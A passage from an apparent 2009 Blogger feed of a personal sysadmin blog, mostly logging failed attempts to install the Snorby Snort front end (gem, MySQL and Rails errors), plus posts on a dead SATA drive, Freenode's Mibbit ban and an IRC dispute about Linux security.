/&gt;&lt;br /&gt;    app/views/user_sessions/new.html.erb:8&lt;br /&gt;    app/views/user_sessions/new.html.erb:5&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/httpserver.rb:104:in `service'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/httpserver.rb:65:in `run'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'&lt;br /&gt;&lt;br /&gt;Rendering /root/RAILS/RAILS/Snorby/public/500.html (500 Internal Server Error)&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Grrr.  Something isn't quite right here.  I've followed the documents properly in installing Snorby, but something was obviously missed.  I'm totally reliant upon the developers at this point.  While this is normal for some people, it isn't for me.  At work, our dev team are the VERY last people I go to, because they tend to either try to make you look stupid or will say some shit like 'it is what it is'.  I'm trying to keep in mind that my bad experience with developers is limited to work and not the open-source community.  That being said, I've invested quite a bit of time and effort on the Snorby project.  While I've learned a few things, I do have an end goal and I'm a goal-oriented person.&lt;br /&gt;&lt;br /&gt;I'll stop updating on Snorby until I actually have it working.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5261722510754064653?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5261722510754064653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5261722510754064653' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5261722510754064653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5261722510754064653'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/07/ruby-rails-gems-redux-part-iii.html' title='Ruby, Rails, Gems Redux Part III'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5533960431453377943</id><published>2009-07-17T16:51:00.007-04:00</published><updated>2009-07-18T00:54:51.928-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snorby'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='Gems'/><title type='text'>Ruby, Rails, Gems Redux Part II</title><content type='html'>Did a little research on the gem for MySQL and decided to try this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@slackbox:~/RAILS/RAILS/Snorby# locate mysql_config&lt;br /&gt;/usr/man/man1/mysql_config.1.gz&lt;br /&gt;/usr/bin/mysql_config&lt;br /&gt;root@slackbox:~/RAILS/RAILS/Snorby# gem install mysql -- --with-mysql-config=/usr/bin/mysql_config&lt;br /&gt;Building native extensions.  This could take a while...&lt;br /&gt;Successfully installed mysql-2.7&lt;br /&gt;1 gem installed&lt;br /&gt;Installing ri documentation for mysql-2.7...&lt;br /&gt;Installing RDoc documentation for mysql-2.7...&lt;br /&gt;root@slackbox:~/RAILS/RAILS/Snorby#&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now about my Snort architecture, I'm thinking all I'm gonna have to do is copy my Snrot database over to Slackbox and then have my two Snort machines (one internal and one sensor at a datacenter) report to Slackbox....OR, have the Snort sensors report to BOTH the FreeBSD server AND Slackbox!  I think the latter will work and it sounds like the better solution.&lt;br /&gt;&lt;br /&gt;I'll be updating this post with my successes and failures most of the night, I suspect, or at least until I get good and pissed off.  LOL!&lt;br /&gt;&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;Update:&lt;br /&gt;&lt;br /&gt;There's nothing like backing up an 83MB database file on old hardware:&lt;br /&gt;&lt;br /&gt;Starting:     6:31PM  up 23 days, 19:27, 4 users, load averages: 2.89, 2.94, 3.13&lt;br /&gt;&lt;br /&gt;Ending:       6:33PM  up 23 days, 19:29, 4 users, load averages: 5.88, 3.98, 3.51&lt;br /&gt;&lt;br /&gt;While I'm sure that's incomparable to an enterprise database, at one point, I thought the old dell system would lock up.&lt;br /&gt;&lt;br /&gt;I also was trying to do this via phpMyAdmin on both machines, but I didn't know the dbase size was that large (4 yrs of sniffing data).  phpMyAdmin on the BSD box would say it was finished exporting but I'd check the filesize and it was different each time (did it like 4 times before I decided to go commandline.  phpMyAdmin kept giving me a filesize of between 20M and 40M. It must've been choking out.  I optimized the dbase, also, so it was more than likely larger than 83MB.&lt;br /&gt;&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;Update:&lt;br /&gt;&lt;br /&gt;Had to upgrade MySQL, as my 83MB file wouldn't import into Slackbox's MySQL server.  30 seconds into the import, the import would lock up or die.  Apparently, it's a known issue with MySQL's lower versions.&lt;br /&gt;&lt;br /&gt;Anyways, after the import and creation of new MySQL users, I had to edit Snorby's config/database.yml file, specifically the development part.  The reason:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@slackbox:~/RAILS/RAILS/Snorby# script/server -p 11001&lt;br /&gt;=&gt; Booting WEBrick&lt;br /&gt;=&gt; Rails 2.3.2 application starting on http://0.0.0.0:11001&lt;br /&gt;=&gt; Call with -d to detach&lt;br /&gt;=&gt; Ctrl-C to shutdown server&lt;br /&gt;[2009-07-17 21:48:14] INFO  WEBrick 1.3.1&lt;br /&gt;[2009-07-17 21:48:14] INFO  ruby 1.8.6 (2007-03-13) [i486-linux]&lt;br /&gt;[2009-07-17 21:48:14] WARN  TCPServer Error: Address already in use - bind(2)&lt;br /&gt;[2009-07-17 21:48:14] INFO  WEBrick::HTTPServer#start: pid=3848 port=11001&lt;br /&gt;/!\ FAILSAFE /!\  Fri Jul 17 21:48:17 -0400 2009&lt;br /&gt; Status: 500 Internal Server Error&lt;br /&gt; Can't connect to MySQL server on 'no_not_use' (111)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;It's still not clear to me why I had to edit it, but I did because the production portion was populated with the proper credentials but I was still receiving the above error..."Can't connect to MySQL server on 'no_not_use'".  When I did it, I stopped getting that error.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;*** I found why I was getting the MySQL error.  The config/database.yml development entry has 'mysql' for the database entry.  It should be 'no_not_use'.  I've edited this to what is was originally supposed to be and changed everything back to 'no_not_use'.  I no longer get the error when using the production settings. ***&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Also, notice that I ran in what I want to call 'debug mode' because I wanted to see what was hanging up the connection.&lt;br /&gt;&lt;br /&gt;So, now, after some editing and fiddling, I get the following in 'debug mode':&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@slackbox:~/RAILS/RAILS/Snorby# script/server -e production -b 10.150.1.106 -p 11001&lt;br /&gt;=&gt; Booting WEBrick&lt;br /&gt;=&gt; Rails 2.3.2 application starting on http://10.150.1.106:11001&lt;br /&gt;=&gt; Call with -d to detach&lt;br /&gt;=&gt; Ctrl-C to shutdown server&lt;br /&gt;[2009-07-17 21:55:37] INFO  WEBrick 1.3.1&lt;br /&gt;[2009-07-17 21:55:38] INFO  ruby 1.8.6 (2007-03-13) [i486-linux]&lt;br /&gt;[2009-07-17 21:55:38] WARN  TCPServer Error: Address already in use - bind(2)&lt;br /&gt;[2009-07-17 21:55:38] INFO  WEBrick::HTTPServer#start: pid=3915 port=11001&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Processing UserSessionsController#new (for ::ffff:10.150.1.106 at 2009-07-17 21:55:40) [GET]&lt;br /&gt; Parameters: {"action"=&gt;"new", "controller"=&gt;"user_sessions"}&lt;br /&gt;Rendering template within layouts/application&lt;br /&gt;Rendering user_sessions/new&lt;br /&gt;&lt;br /&gt;ActionView::TemplateError (undefined method `login' for #&lt;usersession: no="" credentials="" provided=""&gt;) on line #8 of app/views/user_sessions/new.html.erb:&lt;br /&gt;5:              &lt;% form_for @user_session, :url =&gt; user_session_path do |f| %&gt;&lt;br /&gt;6:                &lt;%= f.error_messages %&gt;&lt;br /&gt;7:                &lt;%= f.label :login %&gt;&lt;br /&gt;&lt;br /&gt;8:                &lt;%= f.text_field :login %&gt;&lt;br /&gt;&lt;br /&gt;9:               &lt;br /&gt;&lt;br /&gt;10:               &lt;%= f.label :password %&gt;&lt;br /&gt;&lt;br /&gt;11:               &lt;%= f.password_field :password %&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   app/views/user_sessions/new.html.erb:8&lt;br /&gt;   app/views/user_sessions/new.html.erb:5&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/httpserver.rb:104:in `service'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/httpserver.rb:65:in `run'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'&lt;br /&gt;   /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'&lt;br /&gt;&lt;br /&gt;Rendering /root/RAILS/RAILS/Snorby/public/500.html (500 Internal Server Error)&lt;br /&gt;&lt;/usersession:&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The thing is, I see nothing in the web browser, but:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;We're sorry, but something went wrong.&lt;br /&gt;&lt;br /&gt;We've been notified about this issue and we'll take a look at it shortly.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Something else that is nagging me that I was trying to fiddle with is:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[2009-07-17 21:55:38] WARN  TCPServer Error: Address already in use - bind(2)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;There is only one Ruby service running and nothing is utilizing that port when I run Ruby.  I'm ignoring it for now.&lt;br /&gt;&lt;br /&gt;I would love to see what the WEBrick logs show, if there are any.&lt;br /&gt;&lt;br /&gt;For now, its time to do some serious Googling and maybe hit up my three Ruby/Rails books.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5533960431453377943?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5533960431453377943/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5533960431453377943' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5533960431453377943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5533960431453377943'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/07/ruby-rails-gems-redux-part-ii.html' title='Ruby, Rails, Gems Redux Part II'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-1155906361055876309</id><published>2009-07-17T00:04:00.005-04:00</published><updated>2009-07-17T17:01:34.812-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snorby'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='Gems'/><title type='text'>Ruby, Rails, Gems Redux</title><content type='html'>I decided to use Slackware this time.  I've had better luck.&lt;br /&gt;&lt;br /&gt;My install already has Ruby 1.8.6 (the latest stable is 1.8.7, I believe).&lt;br /&gt;&lt;br /&gt;Ran into an issue when following &lt;a href="http://wiki.github.com/mephux/Snorby/install-snorby"&gt;these&lt;/a&gt; instructions.  Was supposed to do 'rake gems:install' but got a 'prawn' error&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@slackbox:~/RAILS/RAILS/Snorby# rake gems:install&lt;br /&gt;(in /root/RAILS/RAILS/Snorby)&lt;br /&gt;rake aborted!&lt;br /&gt;no such file to load -- prawn&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Fixed it by using 'gem install prawn'.  After running that command, I was able to run the 'rake gems:install' without error.&lt;br /&gt;&lt;br /&gt;Now I'm having a similar issue when running 'rake snorby:setup':&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@slackbox:~/RAILS/RAILS/Snorby# rake snorby:setup&lt;br /&gt;(in /root/RAILS/RAILS/Snorby)&lt;br /&gt;Setting Up Snorby Database.&lt;br /&gt;!!! The bundled mysql.rb driver has been removed from Rails 2.2. Please install the mysql gem and try again: gem install mysql.&lt;br /&gt;rake aborted!&lt;br /&gt;no such file to load -- mysql&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Running 'gem install mysql' give me a BUNCH of errors:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@slackbox:~/RAILS/RAILS/Snorby# gem install mysql&lt;br /&gt;Building native extensions.  This could take a while...&lt;br /&gt;ERROR:  Error installing mysql:&lt;br /&gt;        ERROR: Failed to build gem native extension.&lt;br /&gt;&lt;br /&gt;/usr/bin/ruby extconf.rb&lt;br /&gt;checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;checking for main() in -lm... no&lt;br /&gt;checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;checking for main() in -lz... no&lt;br /&gt;checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;checking for main() in -lsocket... no&lt;br /&gt;checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;checking for main() in -lnsl... no&lt;br /&gt;checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;*** extconf.rb failed ***&lt;br /&gt;Could not create Makefile due to some reason, probably lack of&lt;br /&gt;necessary libraries and/or headers.  Check the mkmf.log file for more&lt;br /&gt;details.  You may need configuration options.&lt;br /&gt;&lt;br /&gt;Provided configuration options:&lt;br /&gt;        --with-opt-dir&lt;br /&gt;        --without-opt-dir&lt;br /&gt;        --with-opt-include&lt;br /&gt;        --without-opt-include=${opt-dir}/include&lt;br /&gt;        --with-opt-lib&lt;br /&gt;        --without-opt-lib=${opt-dir}/lib&lt;br /&gt;        --with-make-prog&lt;br /&gt;        --without-make-prog&lt;br /&gt;        --srcdir=.&lt;br /&gt;        --curdir&lt;br /&gt;        --ruby=/usr/bin/ruby&lt;br /&gt;        --with-mysql-config&lt;br /&gt;        --without-mysql-config&lt;br /&gt;        --with-mysql-dir&lt;br /&gt;        --without-mysql-dir&lt;br /&gt;        --with-mysql-include&lt;br /&gt;        --without-mysql-include=${mysql-dir}/include&lt;br /&gt;        --with-mysql-lib&lt;br /&gt;        --without-mysql-lib=${mysql-dir}/lib&lt;br /&gt;        --with-mysqlclientlib&lt;br /&gt;        --without-mysqlclientlib&lt;br /&gt;        --with-mlib&lt;br /&gt;        --without-mlib&lt;br /&gt;        --with-mysqlclientlib&lt;br /&gt;        --without-mysqlclientlib&lt;br /&gt;        --with-zlib&lt;br /&gt;        --without-zlib&lt;br /&gt;        --with-mysqlclientlib&lt;br /&gt;        --without-mysqlclientlib&lt;br /&gt;        --with-socketlib&lt;br /&gt;        --without-socketlib&lt;br /&gt;        --with-mysqlclientlib&lt;br /&gt;        --without-mysqlclientlib&lt;br /&gt;        --with-nsllib&lt;br /&gt;        --without-nsllib&lt;br /&gt;        --with-mysqlclientlib&lt;br /&gt;        --without-mysqlclientlib&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gem files will remain installed in /usr/lib/ruby/gems/1.8/gems/mysql-2.7 for inspection.&lt;br /&gt;Results logged to /usr/lib/ruby/gems/1.8/gems/mysql-2.7/gem_make.out&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Grrr...!!!&lt;br /&gt;&lt;br /&gt;But, I'm a lot closer this time than last time.  I'll sort it out either tomorrow night or this weekend.&lt;br /&gt;&lt;br /&gt;Oh, and one more thing.  Maybe this is more complicated than it has to be, because I've already got BASE running on a server who's internal IP is 10.150.1.103 (FreeBSD on a Dell server/workstation).  The MySQL server is also on that box.  Maybe I don't actually need the MySQL gem?  Can I leverage the actual database on the FreeBSD box and maybe skip some steps?  We'll find out, otherwise, I'm going to have to maybe copy the database over to the Slackware machine so I can test.  Yeah, I really wanted Snorby on the FreeBSD box but for some reason I'm more comfortable with Slackware.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-1155906361055876309?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/1155906361055876309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=1155906361055876309' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1155906361055876309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1155906361055876309'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/07/ruby-rails-gems-redux.html' title='Ruby, Rails, Gems Redux'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6151211666579678099</id><published>2009-07-13T22:48:00.005-04:00</published><updated>2009-07-13T23:46:43.691-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snorby'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='Gems'/><title type='text'>Rails, Ruby, Gems...PITA</title><content type='html'>I spent the evening trying to get &lt;a href="http://www.snorby.org/"&gt;Snorby&lt;/a&gt; installed.&lt;br /&gt;&lt;br /&gt;I've sporadically messed with Ruby on Rails before, actually getting it installed and playing a bit with it before moving on to other things.&lt;br /&gt;&lt;br /&gt;Now, I've been hindered by an out-of-date Rails install.  I tried to install Snorby and every step I have to take two steps backward.  I ended up reinstalling to the latest version that FreeBSD (yeah, doing this on a BSD install, as it seems easier to install this way), but that version wasn't high enough.&lt;br /&gt;&lt;br /&gt;Now, I'm installing the latest by source.  I'm as far as I've ever been tonight, which is good because I'm running out of time.  I'm installing the Gems at the moment and the install is agonizingly slow (doing this on a dual proc 450MHz machine).  It appears most of this are documentation installs.  :/&lt;br /&gt;&lt;br /&gt;Maybe I can get this done and still be able to get a bit of sleep before I've to get up for work.&lt;br /&gt;&lt;br /&gt;So far, see below .txt file...looks good so far:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://wigglit.ath.cx/ruby.txt"&gt;http://wigglit.ath.cx/ruby.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;AAARGH!!&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[root@delly /usr/local/www/data/Snorby]# rake snorby:setup&lt;br /&gt;(in /usr/local/www/data/Snorby)&lt;br /&gt;Missing these required gems:&lt;br /&gt;  javan-whenever &lt;br /&gt;&lt;br /&gt;You're running:&lt;br /&gt;  ruby 1.8.5 at /usr/local/bin/ruby18&lt;br /&gt;  rubygems 1.3.1 at /root/.gem/ruby/1.8, /usr/local/lib/ruby/gems/1.8&lt;br /&gt;&lt;br /&gt;Run `rake gems:install` to install the missing gems.&lt;/blockquote&gt;Almost there but I'm out of time...will continue tomorrow.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6151211666579678099?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6151211666579678099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6151211666579678099' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6151211666579678099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6151211666579678099'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/07/rails-ruby-gemspita.html' title='Rails, Ruby, Gems...PITA'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7513318861477717464</id><published>2009-07-13T17:03:00.004-04:00</published><updated>2009-07-13T17:12:50.335-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LiveCD'/><category scheme='http://www.blogger.com/atom/ns#' term='bad drive'/><category scheme='http://www.blogger.com/atom/ns#' term='slackbox'/><category scheme='http://www.blogger.com/atom/ns#' term='SATA'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Main Slackbox (named slackbox) back online</title><content type='html'>I finally had time to figure out what was going on with my Slackware tower.  It has been down for so long I forget when it actually started having issues.  I believe it began having problems since the beginning of 2009.&lt;br /&gt;&lt;br /&gt;The culprit?  Either the SATA drive that I installed in it awhile back or the SATA controllers on teh board.  It's difficult to tell without swapping the SATA drive out for another.  I just disabled it (the drive) for now.  It works fine without it connected...that tells me its the drive and not the controller.&lt;br /&gt;&lt;br /&gt;I began by trying to boot it up by using a Ubuntu LiveCD.  It wouldn't boot up and showed many ATA-based errors in the logs.  I tried a different Ubuntu LiveCD (v8.10, I believe)...still, same issue.&lt;br /&gt;&lt;br /&gt;It was then that I started focusing on the SATA drive.  I just unplugged it and tried to reboot...got a reboot and the system has been running for about a week without any issues.&lt;br /&gt;&lt;br /&gt;So, I lost a drive.  It's not a big deal, as that drive was hosting Windows, I believe.  Weird, because that drive is rather young.  I believe its a WD (I have seriously bad luck with that brand).  I can do without replacing that drive for now, though.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7513318861477717464?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7513318861477717464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7513318861477717464' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7513318861477717464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7513318861477717464'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/07/main-slackbox-named-slackbox-back.html' title='Main Slackbox (named slackbox) back online'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2141584326019023435</id><published>2009-06-26T22:05:00.002-04:00</published><updated>2009-06-26T22:09:06.682-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mibbit'/><category scheme='http://www.blogger.com/atom/ns#' term='ban'/><category scheme='http://www.blogger.com/atom/ns#' term='Freenode'/><title type='text'>Youch! Freenode bans Mibbit.com connections</title><content type='html'>&lt;a href="http://blog.freenode.net/2009/06/new-freenode-webchat-and-why-to-use-it/"&gt;New freenode webchat (and why to use it)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;OW.&lt;br /&gt;&lt;br /&gt;I remember awhile back, the server opers would frown upon banning Mibbit users.  I guess they had a change of heart due to abusers using Mibbit to dodge bans.  I remember having to place broad bans on Mibbit on a temp basis, but it was always temporary bans that I placed.  I even became a Mibbit user.  I hadn't joined the server using Mibbit in about a month so something happened recently for Freenode to lock out all Mibbit connections.&lt;br /&gt;&lt;br /&gt;Oh well.&lt;br /&gt;&lt;br /&gt;For now, Freenode is hosting its own web-IRC client:  &lt;a href="http://webchat.freenode.net/"&gt;http://webchat.freenode.net/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2141584326019023435?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2141584326019023435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2141584326019023435' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2141584326019023435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2141584326019023435'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/06/youch-freenode-bans-mibbitcom.html' title='Youch! Freenode bans Mibbit.com connections'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4291825527414282702</id><published>2009-06-06T17:50:00.005-04:00</published><updated>2009-06-10T22:51:42.792-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IRC'/><category scheme='http://www.blogger.com/atom/ns#' term='##slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='LQ.org'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='milw0rm'/><category scheme='http://www.blogger.com/atom/ns#' term='Application Security'/><title type='text'>Researching and found an old flamefest spark</title><content type='html'>Reference:&lt;br /&gt;&lt;a href=" http://mythtv.beirdo.ca/ircLog/channel/1/2008-07-14"&gt;&lt;br /&gt;http://mythtv.beirdo.ca/ircLog/channel/1/2008-07-14&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Summary:  At &lt;a href="http://www.linuxquestions.org"&gt;LQ.org&lt;/a&gt;, there was a discussion on the security forums on how vulnerable Linux was to attacks/malware.  Someone didn't like what was being discussed because of typical Linux zealotry.  What happened on LQ's forums spilled over into ##slackware on IRC.  Dagmar, the instigator of a LOT of bad things that used to happen in ##slackware got perm banned by me.  Later, documented in the link above, he is his typical self, not even attempting to objectively explain what the whole thing was about, pretty much slandering me about how flawed my thoughts are on the whole thing and is worrying that I'll propagate bad information.&lt;br /&gt;&lt;br /&gt;Let me explain some things about myself.  I'm an IT security engineer.  I don't just mess with routers and I'm not some glorified network engineer.  I'm a senior consultant.  I not only consult, I'm able to find "needle-in-the-haystack"-type info using packet-level analysis.  Most of what I do requires that I be a jack-of-all-trades in network engineering, but my specialty is security.  I'm proficient in utilizing many industry-leading security tools, both freeware and commercial software.  I work at a very large ISP/telecom within a large managed security services team.  I am THE lead of a government security operations center.  We manage well over 100 customers' security posture via firewalls, NIDS, HIDS, and IPS appliances, using ArcSight, an aggregation and correlation tool that is fast becoming the standard in security event monitoring.&lt;br /&gt;&lt;br /&gt;Every day, we see machines being compromised...this is nothing new.  The compromises span every mainstream OS.  This includes Linux.  Whether it is kernel level or application level is not the argument.  The argument is that Linux is not as rock-solid as everyone makes it out to be.  Sure, it has more safeguards than Windows-based systems, but it is still 